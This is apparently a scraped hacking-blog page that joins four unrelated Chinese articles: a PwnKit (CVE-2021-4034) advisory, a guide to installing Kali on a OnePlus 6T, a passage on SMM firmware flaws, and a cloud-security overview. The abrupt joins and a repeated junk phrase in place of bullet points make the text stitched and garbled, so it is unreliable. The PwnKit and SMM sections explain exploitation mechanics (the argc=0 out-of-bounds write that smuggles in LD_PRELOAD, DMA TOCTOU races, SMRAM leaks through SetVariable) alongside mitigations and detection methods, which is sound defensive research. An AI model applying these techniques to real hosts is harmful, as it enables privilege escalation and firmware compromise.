Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115592

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞,pkexec是一個SUID-root程序,默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有相關權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。

關於Polkit pkexec for LinuxPolkit(以前是PolicyKit)是一個用於控制類unix操作系統中的系統權限的組件。它為非權限進程提供了一種有組織的方式來與權限進程進行通信。還可以使用polkit來執行具有更高權限的命令,使用命令pkexec,後面跟著要執行的命令(具有根權限)。

PwnKit漏洞的潛在影響如果有人成功利用該漏洞,任何非權限用戶都可以獲得該漏洞主機上的root權限。 Qualys的安全研究人員已經能夠獨立驗證該漏洞,並利用該漏洞,進而獲得Ubuntu、Debian、Fedora和CentOS默認安裝的全部root權限。其他Linux 發行版可能容易受到攻擊並且可能被利用。這個漏洞已經隱藏了12 年多,並影響自2009 年5 月第一個版本以來的所有pkexec 版本(commit c8c3d83, “Add a pkexec(1) command”)。

在我們的研究團隊確認該漏洞後,Qualys負責漏洞的披露,並與供應商和開源發行方協調,公佈了該漏洞。

潛在漏洞利用路徑的視頻可以點此查看。 (https://player.vimeo.com/video/669715589)

另外可以查看本視頻(https://player.vimeo.com/video/670582239),了解如何使用Qualys VMDR查看PwnKit漏洞。

PwnKit漏洞的技術細節介紹pkexec的main()函數的開頭處理命令行參數(第534-568行),如果它的路徑不是絕對的,則在path環境變量的目錄中搜索要執行的程序(第610-640行):

1.png

不幸的是,如果命令行參數argc的數量是0,這意味著如果我們傳遞給execve()的參數列表argv是空的,即{NULL},那麼argv[0]就是NULL。這是參數列表的終止符。所以:

在第534行,整數n被永久地設置為1;

在第610行,從argv[1]越界讀取指針路徑;

在第639行,指針s被越界寫入argv[1];

但是,這個越界的argv[1]到底要讀寫什麼呢?

要回答這個問題,我們必須稍微離題一下。當execve()一個新程序時,內核將我們的參數、環境字符串和指針(argv和envp)複製到新程序堆棧的末尾,例如:

2.png

顯然,因為argv和envp指針在內存中是連續的,如果argc是0,那麼越界的argv[1]實際上是envp[0],指向我們的第一個環境變量value的指針。結果:

在第610 行,要執行的程序的路徑從argv[1](即envp[0])越界讀取,並指向“value”;

在第632 行,這個路徑“value”被傳遞給g_find_program_in_path()(因為“value”在第629行不是以斜杠開頭的);

然後,g_find_program_in_path() 在我們的PATH 環境變量的目錄中搜索一個名為“value”的可執行文件;

如果找到這樣的可執行文件,則將其完整路徑返回給pkexec 的main() 函數(在第632 行);

最後,在第639 行,這個完整路徑被越界寫入argv[1](即envp[0]),從而覆蓋了我們的第一個環境變量。

所以,更準確地說:

如果我們的PATH環境變量是' PATH=name ',並且目錄' name '存在(在當前工作目錄中)並且包含一個名為' value '的可執行文件,那麼一個指向字符串' name/value '的指針將被寫入envp[0]。

如果我們的PATH 是“PATH=name=.”,並且目錄是“name=.”存在並包含一個名為“value”的可執行文件,然後將指向字符串“name=./value”的指針越界寫入envp[0]。

換句話說,這種越界寫入允許我們將“不安全的”環境變量(例如,LD_PRELOAD)重新引入到pkexec的環境中。在調用main()函數之前,這些“不安全的”變量通常會(通過ld.so)從SUID程序的環境中刪除。我們將在下一節中使用這個強大的原語。

不過要注意的是,polkit也支持非linux操作系統,如Solaris和*BSD,但我們尚未調查它們的可利用性。然而,我們注意到OpenBSD是不可利用的,因為如果argc為0,它的內核拒絕execve()一個程序。

如何修復PwnKit漏洞考慮到該漏洞在Linux和非Linux操作系統中的攻擊範圍,Qualys建議用戶立即更新此應用。

目前Qualys客戶可以搜索CVE-2021-4034的相關新聞,以識別該漏洞的所有QID 和設備。

現在可以開始免費的Qualys VMDR 試用,以獲得對CVE-2021-4034 的QID(檢測)的完全訪問權限,其中可以識別所有易受攻擊的設備。

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞,pkexec是一個SUID-root程序,默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。

關於Linux的Polkit pkexecQualys QID 覆蓋範圍Qualys 將發布下表中的QID,因為它們從vulnsigs 版本VULNSIGS-2.5.387-2 和Linux 雲代理清單版本lx_manifest-2.5.387.2-1 開始可用。

3.png

使用Qualys VMDR 發現易受攻擊的Linux 服務器

識別運行Linux 內核的設備接下來會介紹當前Qualys 客戶如何在他們的環境中檢測PwnKit。

管理這一關鍵漏洞和降低風險的第一步是識別運行Linux操作系統的所有設備。 Qualys VMDR使得識別此類設備變得很容易。

Query: operatingSystem.category1:`Linux`

4.jpg

一旦主機被識別出來,就可以將它們與“動態標籤”組合在一起,比如說:“Linux 服務器”。這有助於自動對具有上述漏洞的現有主機以及在你的環境中啟動的任何新Linux 設備進行分組。標籤使得這些分組設備可以在整個Qualys雲平台上進行查詢、報告和管理。

基於RTI 的優先級使用Qualys VMDR,可以使用以下實時威脅指標(RTI) 確定PwnKit 漏洞的優先級:

Predicted_High_Risk

Privilege_Escalation

Easy_Exploit

High_Lateral_Movement

5.jpg

使用Qualys VMDR修復我們預計供應商將在短期內發布針對該漏洞的修復。當修復可用時,Qualys Patch Management可用於將這些修復部署到易受攻擊的設備中。

使用基於上述RTI 方法的相同優先級,客戶可以使用漏洞右側的“立即修復”按鈕將PwnKit 添加到修復作業中。一旦修復發布,Qualys將找到該漏洞的相關修復,並自動將這些修復添加到修復作業中。這將允許客戶將這些修復部署到易受攻擊的設備上,所有這些修復都來自Qualys雲平台。

使用威脅防護檢測受影響的設備VMDR還允許你使用威脅保護自動映射易受PwnKit漏洞攻擊的設備。

6.jpg

使用VMDR 儀表板跟踪漏洞使用VMDR 儀表板,你可以實時跟踪此漏洞、受影響的主機、狀態和整體管理。為儀表板小部件啟用趨勢分析後,你可以使用“PwnKit”儀表板跟踪環境中的這些漏洞發展趨勢。

7.jpg

利用Qualys XDR 識別漏洞利用嘗試Qualys XDR 客戶可以使用標題為“T1068 – Linux:檢測到Polkit pkexec 本地特權升級漏洞(CVE-2021-4034)”的規則名稱來檢測受影響系統上的利用後活動。啟用後,客戶還可以使用以下QQL 查詢搜索易受攻擊的系統:

eventName:”ThevaluefortheSHELLvariablewasnotfoundthe/etc/shellsfile“or“containssuspiciouscontent“客戶將能夠看到類似以下截圖的輸出:

8.jpg

常見問題哪些版本易受攻擊?從2009年開始的所有Polkit版本都很脆弱。

Qualys研究團隊是否會發布此漏洞的利用代碼?不會。但鑑於利用該漏洞非常容易,我們預計在本博客發布日期後的幾天內,公開的漏洞利用將變得可用。

是否有緩解措施?如果你的操作系統沒有可用的補丁,你可以從pkexec 中刪除SUID 位作為臨時緩解措施;例如:

#chmod0755/usr/bin/pkexec這個漏洞可以遠程利用嗎?不可以,但是如果攻擊者可以以任何非特權用戶身份登錄,則可以快速利用該漏洞來獲得root 特權。

能不能查到被攻擊的證據?是的,這種利用技術會在日誌中留下痕跡,比如“在/etc/SHELL文件中找不到SHELL變量的值”或者“環境變量的值[……]包含可疑內容”。但是,請注意,這個漏洞也可以被利用,不會在日誌中留下任何痕跡。

0x00 前言Android滲透平台搭建的系列文章第三篇,介紹Android設備OnePlus6T上安裝Kali的兩種方法,記錄細節。

方法一:在Android系統安裝Kali NetHunter(2022.1)

方法二:在Win11系統安裝Linux子系統kali-linux

測試設備:OnePlus 6T 10g+256g 邁凱倫

測試設備系統:Android 11+Win11

0x01 簡介本文將要介紹以下內容:

在Android系統安裝Kali NetHunter(2022.1)

在Win11系統安裝Linux子系統kali-linux

0x02 在Android系統安裝Kali NetHunter(2022.1)流程可參考之前的文章《Android渗透平台搭建——在Nexus6P安装Kali NetHunter(2022.1)》

Win11切換至Android的方法:

開機時按音量+,選擇UEFI BootMenu,再選擇Reboot to other slot

1.下載文件(1)Kali NetHunter

需要Android版本10或Android版本11

OnePlus6T Android 11的下載地址:https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip

OnePlus6T Android 10的下載地址:https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-ten-kalifs-full.zip

(2)Magisk

下載頁面:https://github.com/topjohnwu/Magisk

這裡選擇Magisk-v21.4.zip,下載地址:https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip

(3)TWRP

下載頁面:https://twrp.me/oneplus/oneplus6t.html

下載地址:

https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img

https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip

下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip

twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP,twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP

2.安裝Kali NetHunter(1)進入Recovery模式

在開機狀態下,按住電源鍵,選擇恢復模式,進入Recovery模式

在TWRP頁面,選擇Install,我的OnePlus6T為Android 11,這裡選擇nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip

需要取消選擇Reboot after installation is complete避免安裝後自動重啟

經過漫長的等待,安裝成功

安裝Magisk-v21.4.zip

在TWRP頁面,選擇Install,選擇Magisk-v21.4.zip

安裝成功後選擇Reboot System

至此,Kali NetHunter安裝完成

在應用列表中,能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX

0x03 在Win11系統安裝Linux子系統kali-linuxAndroid切換至Win11的方法:

進入Recovery模式,在TWRP中,選擇Reboot - SlotB

進入Win11系統後,可選擇在微軟商店搜索kali進行安裝,具體流程如下:

1.開啟子系統LinuxPowershell:

Enable-WindowsOptionalFeature-Online-FeatureNameMicrosoft-Windows-Subsystem-Linux安裝完會提示需要重啟操作系統

2.在微軟商店搜索kali並安裝安裝後直接啟動kali會報錯0x80370102,這裡需要手動設置wsl版本為1

wsl命令可參考:https://docs.microsoft.com/en-us/windows/wsl/basic-commands

3.設置wsl版本為1命令如下:

wsl--set-default-version1查看已安裝系統的命令如下:

wsl--list--verbose返回結果能看到kali-linux

4.配置Kali默認登錄用戶設置默認登錄用戶為root的命令如下:

kaliconfig--default-userroot配置root用戶密碼,命令如下:

kali

passwdroot

toor

toor5.更新kalisudoaptupdatesudoaptupgrade-y如果無法更新,可以修改成國內的源

sudovi/etc/apt/sources.list添加:

debhttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib

deb-srchttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib6.安裝Kali GUI本地Win11可通過遠程桌面連接至Kali

首先在命令行輸入kali進入kali控制台

(1)安裝kali-desktop-xfce

sudoaptinstallkali-desktop-xfce-y(2)安裝xrdp

sudoaptinstallxrdp-y(3)修改端口為3390

sed-i's/port=3389/port=3390/g'/etc/xrdp/xrdp.ini(4)開啟服務

sudoservicexrdpstart(5)連接遠程桌面

mstsc

127.0.0.1:3390補充:常見問題

(1)修改kali分辨率

在kali中依次選擇Settings - Appearance - Settings - Window Scaling,改成2x

(2)無法打開命令行終端,提示:Failed to execute default Terminal Emulator. Input/output error.

先安裝xfce的終端:

sudoaptinstallxfce4-terminal在kali中依次選擇Settings - Settings Manager - DefaultApplications - Utilities,將設置Terminal Emulator設置為Xfce Terminal

(3)Win11重啟後重新連接kali的遠程桌面

需要先開啟服務xrdp:

sudoservicexrdprestart(4)Win11 Linux子系統重啟

netstopLxssManager

netstartLxssManager(5)安裝msfconsole

sudoaptinstallmetasploit-framework(6)啟動msfconsole

需要在Windows Defender中添加排除目錄:\\wsl.localhost\kali-linux

0x04 小結本文將介紹了在Android設備OnePlus6T上安裝Kali的兩種方法。驍龍845處理器的設備可以選擇安裝Win11再安裝Kali,其他Android設備可選擇安裝Kali NetHunter。

在這篇文章中,我們繼續為讀者分享與SMM漏洞相關的知識、工具和方法。

(接上文)

TOCTOU攻擊類型說明有時,即使在嵌套指針上調用SmmIsBufferOutsideSmmValid()也不足以保證SMI處理程序的安全。其原因是,SMM在設計時沒有考慮到並發性,因此,它受到一些固有的競態條件漏洞的影響,最突出的是針對通信緩衝區的TOCTOU攻擊。因為通信緩衝區本身駐留在SMRAM之外,因此,它的內容可以在SMI處理程序執行時發生改變。這一事實具有嚴重的安全影響,因為它意味著從它那裡兩次獲取的值不一定相同。

為了解決這個問題,多進程環境中的SMM採用了所謂的“SMI會合(SMI rendezvous)”技術。簡而言之,一旦某個CPU進入SMM,一個專門的軟件序言將向系統中所有其他處理器發送一個處理器間中斷(IPI)。這個IPI將使它們也進入SMM,並在那裡等待SMI的完成。只有這樣,第一個處理器才能安全地調用處理函數來實際服務SMI。

該方案在防止其他處理器在使用通信緩衝區時干擾通信緩衝區方面非常有效,但當然,CPU並不是唯一有權訪問內存總線的實體。正如任何操作系統入門課程所教導的那樣,現在許多硬件設備都能夠作為DMA代理運行,這意味著它們可以直接讀/寫內存而根本不需要通過CPU。從性能上講,這些都是好消息,但就固件的安全性而言,卻是一個可怕的壞消息。

1.jpg

DMA感知硬件可以在SMI執行時修改通信緩衝區的內容

為了了解DMA操作如何幫助成為漏洞利用的幫兇的,讓我們來看看以下摘自實際SMI處理程序中的代碼片段:

1.jpg

易受TOCTOU攻擊的SMI處理程序

可以看到,這個處理程序至少在3個不同的位置引用了一個我們命名為field_18的嵌套指針:

首先,從通信緩衝區中檢索其值,並將其保存到SMRAM中的局部變量中。

然後,對局部變量調用SmmIsBufferOutsideSmmValid函數,以確保該變量不與SMRAM重疊。

如果被認為是安全的,則從通信緩衝區中重新讀取嵌套指針,然後將其作為目標參數傳遞給CopyMem函數。

正如前面提到的,沒有什麼能保證從通信緩衝區中連續讀取的內容一定會產生相同的值。這意味著,攻擊者可以通過讓指針引用SMRAM外部的、完全安全的位置來處理該SMI:

1.jpg

處理SMI時通信緩衝區的初始佈局

但是,就在SMI驗證嵌套指針之後、再次獲取它之前,存在一個小的機會窗口,DMA攻擊可以修改其值,使其指向其他地方。由於攻擊者知道,這個指針很快就會傳遞給CopyMem()函數,因此,可以設法讓指針指向要破壞的SMRAM中的地址。

1.jpg

惡意DMA設備可以修改CommBuffer中的指針,使其指向其他地方,當然,也可以指向SMRAM內存

緩解措施如果固件配置正確的話,SMRAM應該可以防止被DMA設備所篡改。為了確保您的機器上的配置是正確的,請通過CHIPSEC運行smm_dma模塊。

1.jpg

檢查系統是否為SMRAM提供了針對DMA攻擊的保護

因此,可以通過將數據從通信緩衝區復製到位於SMRAM中的局部變量來緩解TOCTOU漏洞。

1.jpg

將數據從通信緩衝區復製到SMRAM中的局部變量中

一旦以這種方式將所需的全部數據都複製到SMRAM中,DMA攻擊就無法影響SMI處理程序的執行流了:

1.jpg

如果配置正確,SMRAM就能免受DMA設備的篡改

檢測方法為了檢測SMI處理程序中的TOCTOU漏洞,首先需要重建通信緩衝區的內部佈局,然後計算每個字段被提取的次數。如果同一個字段被同一個執行流程取用了兩次或更多,那麼相應的處理程序就有可能容易受到這種攻擊的影響。這些問題的嚴重性在很大程度上取決於各個字段的類型,其中指針字段是最嚴重的。同樣,正確地重建通信緩衝區的結構對評估潛在的風險也是有很大幫助的。

僅能感知CSEG的處理程序類型說明正如本系列文章之前提到的,SMRAM內存的事實標準位置是“頂部內存段”,通常縮寫為TSEG。然而,在許多機器上,由於兼容性的原因,通常會有一個單獨的SMRAM區域被稱為CSEG(兼容段),並且是與TSEG並存的。與TSEG不同,它在物理內存中的位置可以由BIOS以編程方式確定,而CSEG區域的位置則被固定在0xA0000-0xBFFFF的地址範圍。一些傳統的SMI處理程序在設計時只考慮了CSEG,這一事實可能會被攻擊者所濫用。下面就是這樣的處理程序的例子。

1.jpg

具有一些CSEG特定保護的SMI處理程序

與我們到目前為止審查的處理程序不同,這個SMI處理程序並不是通過通信緩衝區來獲得其參數的。相反,它使用EFI_SMM_CPU_PROTOCOL從SMM的狀態保存區讀取相應的寄存器,該狀態是由CPU在進入SMM時自動創建的。因此,在這個例子中,潛在的攻擊面並非通信緩衝區,而是CPU的通用寄存器,在處理SMI之前,其值幾乎可以隨意設置。

處理程序的操作過程如下所示:

首先,它從狀態保存區讀取ES和EBX寄存器的值。

然後,利用上面的值計算線性地址,相應的公式為:16 * ES + (EBX0xFFFF)。

最後,它檢查計算出來的地址是否位於CSEG的範圍內。如果該地址被認為是安全的,則將其作為參數傳遞給0x3020處的函數。

請注意,該處理程序基本上重新實現了常見的實用函數,如SmmIsBufferOutsideSmmValid(),只是它的實現方式很差,完全忽略了CSEG之外的SMRAM段。理論上講,攻擊者可以設置ES和BX寄存器,使計算出的線性地址指向一些其他的SMRAM區域,如TSEG,從而繞過處理程序所施加的安全檢查。

然而,在實踐中,這種漏洞很可能無法被實際利用。這是因為,我們能達到的最大線性地址為16*0xFFFF+0xFFFF==0x10FFF,而經驗表明,TSEG通常位於更高的地址。儘管如此,了解這樣的處理程序及其帶來的危害還是有好處的。

緩解措施緩解這些漏洞的措施,完全取決於SMI處理程序的開發人員。

檢測方法確定這些漏洞的一個不錯的策略是尋找SMI處理程序,這些處理程序通常會利用“魔術數字”來表示CSEG的一些獨特特徵,其中包括直接值,如0xA0000(CSEG的物理基址)、0x1FFFF(其大小)和0xBFFFF(最後一個可尋址字節)。根據我們的經驗,使用兩個或更多這些值的函數可能具有某些特定於CSEG的行為,必須仔細檢查以評估其潛在風險。

基於SetVariable()函數的信息洩露類型說明到目前為止,所有描述的漏洞類別都集中在劫持SMM執行流程和破壞SMM內存方面。然而,另一個非常重要的漏洞類別是圍繞著洩露SMRAM的內容展開的。眾所周知,SMRAM不能從SMM的外部讀取,這就是為什麼它有時被固件用來存儲必須對外界保密的秘密。除此之外,洩露SMRAM的內容還可以幫助利用其他需要準確了解內存佈局的漏洞。

當SMM代碼試圖更新NVRAM變量的內容時,就會容易發生SMRAM洩露。在UEFI中,更新NVRAM變量的操作並不是一個原子操作,而是由以下步驟組成的複合操作:

分配一個堆棧緩衝區,用來存放與該變量相關的數據。

使用GetVariable()服務,將變量的內容讀入堆棧緩衝區。

對堆棧緩衝區進行所有必要的修改。

使用SetVariable()服務將修改後的堆棧緩衝區寫回NVRAM。

1.jpg

用於更新UEFI變量的UEFI代碼

當調用GetVariable()時,注意第4個參數是作為輸入輸出參數使用的。在進入該函數時,這個參數表示調用方要讀取的字節數,而在返回時,它被設置為實際從NVRAM讀取的字節數。如果變量的實際大小與預期的一致,兩個值應該是一樣的。

當開發者隱含地假設一個變量的大小是不可改變的,問題就出現了。由於這種假設,他們完全忽略了GetVariable()讀取的字節數,而只是在寫入更新的內容時將一個硬編碼的大小傳遞給SetVariable()函數。

1.jpg

上面的代碼隱含地假設CpuSetup的大小總是0x101A,所以,它並沒有檢查GetVariable()實際讀取的字節數。

由於一些NVRAM變量(至少是那些具有EFI_VARIABLE_RUNTIME_ACCESS屬性的變量)的內容可以從操作系統中進行修改,它們可以被濫用來觸發SMM中的信息洩露漏洞,同時也可以同時作為滲出渠道。讓我們看看在實踐中是如何做到這一點的。

首先,攻擊者會使用操作系統提供的API函數,如SetFirmwareEnvironmentVariable()來截斷該變量,從而使其比預期的短。然後,它將繼續觸發易受攻擊的SMI處理程序。 SMI處理程序將:

分配基於堆棧的緩衝區。像其他基於堆棧的內存分配一樣,這個緩衝區默認是未初始化的,這意味著它保存了以前發生在SMM中的函數調用的剩餘部分。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖(第1階段)

調用GetVariable()服務,將變量的內容讀入堆棧緩衝區。通常情況下,變量的大小等於堆棧緩衝區的大小,但由於攻擊者剛剛截斷了NVRAM中的變量,緩衝區肯定會更長。這又意味著,即使在GetVariable()返回後,它還會繼續保存一些未初始化的字節。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖(第2階段)

修改內存中的堆棧緩衝區。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖(第3階段)

調用SetVariable()服務,將修改後的堆棧緩衝區寫回NVRAM中。因為這個調用是使用堆棧緩衝區的硬編碼、恆定大小來完成的,所以它也會將其未初始化的部分寫入NVRAM中。

1.jpg

NVRAM變量和堆棧緩衝區的並列示意圖(第4階段)

為了完成這個過程,攻擊者現在可以使用API函數,如GetFirmwareEnvironmentVariable()來完全洩露變量的內容,包括來自未初始化部分的字節。

緩解措施這個故事的寓意是,不能盲目相信NVRAM變量,在分析處理程序的攻擊面時應考慮到這一點。如果可以的話,最好使用相應的編譯器標誌,如InitAll,以確保堆棧緩衝區將被零初始化。更有技巧的是,當更新NVRAM變量的內容時,代碼必須始終考慮到變量的實際大小,而不是依賴靜態的、預先計算的值。

然而,緩解這些問題的另一個可能方向是限制對NVRAM變量的訪問。這可以通過完全刪除EFI_VARIABLE_RUNTIME_ACCESS屬性或使用EDKII_VARIABLE_LOCK_PROTOCOL等協議來實現,使變量成為只讀的。

檢測方法我們有理由認為,NVRAM變量的更新操作會在一個函數的執行過程中發生。這意味著我們通常可以忽略一個函數讀取變量而另一個函數寫入變量的場景。要找到這些函數,可以在用efiXplorer分析完輸入文件後,導航到“services”選項卡,搜索SetVariable()後面緊跟著GetVariable()的調用對。

1.jpg

搜索由GetVariable()和SetVariable()組成的調用對

對於每一對這樣的調用,請檢查是否滿足下列條件:

兩個調用都來自同一個函數;

兩個調用都對同一個NVRAM變量進行操作;

傳遞給SetVariable()的大小參數是一個立即值。

1.jpg

檢測SMRAM信息洩漏的簡單啟發式方法

識別庫函數這篇文章大量地引用了諸如FreePool()和SmmIsBufferOutsideSmmValid()等庫函數,並天真地假設我們可以不費吹灰之力地找到它們。問題是這些函數是靜態鏈接到二進製文件中的,通常SMM映像在發送給終端用戶之前會去除所有的調試符號。因此,在IDA數據庫中定位它們是相當具有挑戰性的。

在我們的工作過程中,我們研究了多種方法來解決這個問題,包括使用Diaphora進行自動比對,以及使用一些不太知名的插件進行實驗,如rizzo和fingermatch。最終,我們決定堅持KISS原則,考慮到目標函數的一些獨特特徵,我們決定使用簡單明了的啟發式方法進行匹配。下面是一些用於匹配前面提到的函數的經驗法則。注意,我們假設二進製文件已經被efiXplorer分析過了,這可以讓事情變得更輕鬆。

FreePool函數識別FreePool()是非常簡單的。只需要掃描IDA數據庫滿足下列條件的函數即可:

接收一個整型參數;

有條件地調用gBs-FreePool()或gSmst-FreePool()中的一個(但絕不會同時調用);

將其輸入參數轉發給這兩個服務。

1.jpg

準確定位FreePool()的簡單啟發式方法

SmmIsBufferOutsideSmmValid函數對SmmIsBufferOutsideSmmValid()函數來說,識別起來就有點棘手了。為了成功地完成這個任務,我們需要掌握一些名為EFI_SMM_ACCESS2_PROTOCOL的UEFI協議的背景信息。這個協議被用來管理和查詢平台上SMRAM的可見性。因此,它提供了相應的方法來打開、關閉和鎖定SMRAM。

1.jpg

EFI_SMM_ACCESS2_PROTOCOL的接口定義

除了這些,這個協議還導出了一個叫做GetCapabilities()的方法,客戶端可以用它來弄清SMRAM在物理內存中的確切位置。

1.jpg

GetCapabilities()函數的說明文檔

返回時,該函數會填充一個EFI_SMRAM_DESCRIPTOR結構體數組,告訴調用方SMRAM的哪些區域是可用的,它們的大小和狀態是什麼,等等。

1.jpg

使用EFI_SMM_ACCESS2_PROTOCOL查詢SMRAM範圍的示例程序的輸出

在EDK2中,通常的做法是將這些EFI_SMRAM_DESCRIPTORS存儲為全局變量,以便其他函數在未來可以輕鬆地訪問它們。正如你可能猜到的,這些函數之一不是別的,而是SmmIsBufferOutsideSmmValid(),它用以遍歷描述符列表,以確定調用方提供的緩衝區是否安全。

1.jpg

SmmIsBufferOutsideSmmValid的源代碼

考慮到這一點,我們識別SmmIsBufferOutsideSmmValid()函數的策略將是反向查找:首先,我們要找到由EFI_SMM_ACCESS2_PROTOCOL初始化的全局SMRAM描述符,然後才根據使用它們的函數,推斷哪個最可能是SmmIsBufferOutsideSmmValid()函數。

從技術上講,只要按照下面的簡單步驟就可以做到這一點:

進入efiXplorer的“protocols”選項卡標籤,雙擊EFI_SMM_ACCESS2_PROTOCOL。這樣,IDA將跳到使用這個GUID的位置(通常是對LocateProtocol的調用)。

1.jpg

在IDA中搜索EFI_SMM_ACCESS2_PROTOCOL

點擊協議的接口指針(EFISmmAccess2Protocol),點擊“x”來搜索其交叉引用。

1.jpg

列出EfiSmmAccess2Protocol的交叉引用

對於每個對GetCapabilities()的調用,檢查第3個參數(SMRAM描述符)是否是一個全局變量。如果是的話,執行下列操作:

點擊“n”,根據一些命名慣例(例如,SmramDescriptor_XXX,其中XXX是一個序號)重新命名它,以便於將來參考。

點擊“y”,將其變量類型設置為EFI_SMRAM_DESCRIPTOR *。

雲技術發展迅速,為幾乎所有已知的服務和產品提供了基於雲的替代方案。根據Markets and Markets的一份報告,雲計算市場預計將從2021 年的4453 億美元增長到2026 年的驚人的9473 億美元。但是,基於雲的服務的增長和多樣性讓軟件供應商和可能想要訪問您的數據的惡意行為者都興奮不已。

為了確保敏感數據的安全存儲,開發人員需要加強對本地和雲環境的保護。他們還必須證明符合GDPR、NIST 標準、PCI DSS、ISO/IEC 27001 以及其他法規、標準和法律。那麼如何確保云中的數據安全呢?是否有可能追踪並消除基於雲的軟件中的所有漏洞?

在本文中,我們將重點介紹五種關鍵的雲數據安全威脅以及保護雲中數據的法律要求,以幫助您應對這些威脅。本文對希望構建安全的基於雲的應用程序的開發團隊和領導者很有用。

誰負責保護雲中的數據?供應商和用戶共同負責雲中的數據安全。每個人都知道這一點,但每個人的理解不同。

例如,根據Snyk 的一項調查,只有10% 的安全專業人員認為開發人員負責其云原生應用程序中的數據安全。同時,超過36% 的開發者認為保護雲數據是他們的責任。

許多組織認為,一旦將數據上傳到雲服務,他們就無需擔心數據安全性和IT 要求的合規性。事實上,許多雲供應商實施了嚴格的網絡安全程序來幫助他們的客戶保護敏感數據。由他們的客戶決定是否執行這些程序、正確配置訪問權限以及證明IT 合規性。

image.png

誰負責雲數據安全?

雲供應商和應用程序開發人員的責任範圍通常在服務級別協議(SLA) 中確定。雲服務的典型SLA 定義:

马云惹不起马云 雲供應商同意提供的工作量和質量

马云惹不起马云所需的服務性能參數

马云惹不起马云供應商使用的安全功能和機制

马云惹不起马云安全事件和服務中斷的補救計劃

马云惹不起马云違反協議的處罰

雖然雲服務提供商(CSP) 和開發人員都有強大的機會來增強基於雲的解決方案中的數據保護,但每一方都必須應對雲中的眾多網絡安全挑戰。在下一節中,我們將了解您在開發基於雲的安全應用程序過程中可能面臨的主要挑戰以及避免或解決這些挑戰的方法。

基於雲的應用程序中的安全挑戰以及解決這些問題的方法雲環境的使用為雲應用程序開發團隊帶來了獨特的安全挑戰。 Cybersecurity Insiders的2021 年雲安全報告概述了五個最大的雲安全威脅:

image.png

5 大雲安全威脅

讓我們仔細研究一下這些問題以及緩解這些問題的方法,以創建安全的基於雲的軟件。

1、雲平台配置錯誤、設置錯誤Microsoft Azure 和Amazon Web Services (AWS) 等領先的雲平台為開發人員提供了大量預配置的安全功能。由開發人員定義他們的產品所需的安全級別。有時,不幸的是,這會導致對雲環境造成威脅安全的錯誤配置。

網絡安全錯誤配置被認為是最大的安全威脅之一,因為使用常規監控工具幾乎不可能檢測到它們。除了人為錯誤之外,錯誤配置的發生主要是由於雲環境的複雜性和不斷變化。

常見的錯誤配置示例如下:

马云惹不起马云 雲環境元素的無限制出站訪問

马云惹不起马云 開放對非HTTP/HTTPS 端口的訪問

马云惹不起马云 安全規則配置錯誤

大多數雲安全配置錯誤是在手動安全審查期間或安全事件的結果中發現的。幸運的是,有一些方法可以防止發生雲安全配置錯誤。特別是,您可以:

马云惹不起马云盡可能多地自動化配置管理活動

马云惹不起马云配置安全規則時使用結對編程

马云惹不起马云定期審核雲安全設置

马云惹不起马云監控異常訪問請求的網絡活動

image.png

減少雲中安全錯誤配置的4 種方法

2. 敏感數據洩露任何云服務提供商和用戶的主要關注點之一是保護他們的數據免受未經授權的訪問和盜竊。將敏感數據存儲在雲中為惡意行為者創造了更多的入口點,而保護它們則取決於兩者。

在本文中,我們將遵循Google對數據洩露的定義:

數據洩露的定義是當授權人員從其所屬的安全系統中提取數據,並將其與未經授權的第三方共享或將其轉移到不安全的系統中。授權人員包括員工、系統管理員和受信任的用戶。數據洩露可能是由於惡意或受損行為者的行為或意外發生的。

谷歌云文檔

數據洩露背後的關鍵原因是不受限制的數據共享功能、虛擬機的手動重新配置和惡意的內部活動。

以下是保護基於雲的應用程序免受數據洩露的方法:

马云惹不起马云 為最終用戶創建教育材料和網絡安全提示。這將有助於防止意外的數據洩露。

马云惹不起马云執行嚴格的數據保護政策和審計合規性。這些策略應包括共享數據訪問權限的最小特權原則以及不同類別敏感數據的不同級別共享能力。

马云惹不起马云加密傳輸中和靜止的數據。例如,通常的做法是使用SSL/TLS 加密來保護網絡流量。

3. 未經授權的訪問竊取合法用戶的帳戶或身份是進入雲環境的最便捷方式之一。確保云應用數據的高水平身份管理和精細訪問管理至關重要。

保護雲數據存儲免受非法訪問通常涉及使用以下類型的工具:

image.png

5 種限制未經授權訪問云中數據的工具

如果您的應用程序具有多租戶模式,您還需要確保數據隔離,以防止您的租戶訪問彼此的數據。

使用Microsoft Azure或AWS等大型供應商的雲服務的主要優勢在於,它們提供強大的訪問管理服務,可以幫助您確保所需的安全級別。

4. 不安全的APIAPI 允許部分雲軟件和第三方產品相互無縫交互。如果保護不力,API 可能成為黑客攻擊和數據洩露的網關。例如,攻擊者可以暴力破解API 用來與其他軟件元素通信並破壞他們的工作或竊取敏感數據的弱密碼。

以下提示將幫助您保護雲解決方案中使用的API :

image.png

保護API 的6 種方法

